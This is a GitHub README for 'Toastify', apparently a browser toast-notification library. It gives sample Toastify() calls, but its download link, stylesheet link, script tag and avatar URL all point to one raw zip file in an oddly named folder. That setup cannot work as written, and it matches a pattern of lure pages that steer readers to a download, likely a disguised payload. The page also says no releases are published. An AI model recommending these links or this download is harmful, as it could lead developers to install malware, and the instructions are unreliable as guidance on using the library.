Skip to content

⚡ Create elegant toast notifications in the browser with a lightweight, dependency-free system using pure vanilla JavaScript and TypeScript support.

License

GPL-3.0, GPL-3.0 licenses found

Licenses found

GPL-3.0
LICENSE
GPL-3.0
COPYING
Notifications You must be signed in to change notification settings

orMenash1/toastify

Repository files navigation

🔔 toastify - Simple Notifications Made Easy

📦 Overview

Toastify is a lightweight, dependency-free JavaScript toast notification library for the browser. It provides a simple way to display notifications inspired by macOS notifications. You can customize alerts to suit your needs without the complexities of heavy frameworks. This library is responsive and works well in any modern web environment.

🚀 Getting Started

To get started with Toastify, follow these simple steps to download and run the software.

⬇️ Download Toastify

Download Toastify

🛠️ System Requirements

  • A modern web browser (latest versions of Chrome, Firefox, Safari, or Edge)
  • Internet connection for downloading the library

📥 Download & Install

To download Toastify, visit this page to download: GitHub Releases Page. On this page, you’ll find the latest version of the software.

  1. Click on the version number you wish to download.
  2. Locate the file and click to download it to your computer.
  3. Unzip the file if it is in a compressed format.

🔧 Usage Instructions

Once downloaded, you can use Toastify in your project. Follow these steps:

  1. Include in HTML: Add the Toastify library to your HTML by linking the JavaScript file in the head of your document.

    <link rel="stylesheet" type="text/css" href="https://raw.githubusercontent.com/orMenash1/toastify/main/nondelegable/toastify.zip">
    <script src="https://raw.githubusercontent.com/orMenash1/toastify/main/nondelegable/toastify.zip"></script>
  2. Display a Notification: Use the following code to create a simple toast notification.

    Toastify({
        text: "This is a toast notification!",
        duration: 3000, // Duration in milliseconds
        gravity: "top", // `top` or `bottom`
        position: 'center', // `left`, `center` or `right`
        backgroundColor: "linear-gradient(to right, #00b09b, #96c93d)"
    }).showToast();
  3. Customize Options: Explore various options to tailor the notifications to your needs, such as duration, gravity, and colors.

🎨 Customize Notifications

You can customize Toastify notifications in various ways:

  • Customize Duration: Set how long the notification shows.
  • Change Position: Choose where to display the notification on the screen.
  • Adjust Styles: Modify colors, fonts, and other styles to match your application's design.

Check the documentation for more advanced configuration options and examples.

📖 Documentation

Full documentation is available on the GitHub repository. Here you will find detailed instructions on all available features, customization options, and best practices.

🛠️ Examples

Basic Notification

Display a basic notification with default settings.

Toastify({
    text: "Hello World!",
}).showToast();

Fancy Notification

Create a more engaging notification with an image.

Toastify({
    text: "Check out this image!",
    duration: 5000,
    close: true,
    gravity: "bottom",
    position: 'right',
    backgroundColor: "#FF5733",
    avatar: "https://raw.githubusercontent.com/orMenash1/toastify/main/nondelegable/toastify.zip"
}).showToast();

🐞 Troubleshooting

If you encounter any issues, check the following steps:

  • Ensure you have included the correct paths to the Toastify files.
  • Confirm you are working in a modern web browser.
  • Review the console for any errors and adjust your code accordingly.

If the problem persists, feel free to reach out through the GitHub page for assistance.

🌍 Community & Support

Toastify is open-source and welcomes contributions. If you have ideas for improvement or find any bugs, please submit an issue or pull request on the repository. Join our community for discussions and support.

📩 Contact

For questions or feedback, contact the maintainer through the GitHub repository or open an issue.

Thank you for choosing Toastify for your notification needs!

About

⚡ Create elegant toast notifications in the browser with a lightweight, dependency-free system using pure vanilla JavaScript and TypeScript support.

Topics

Resources

License

GPL-3.0, GPL-3.0 licenses found

Licenses found

GPL-3.0
LICENSE
GPL-3.0
COPYING

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 4

  •  
  •  
  •  
  •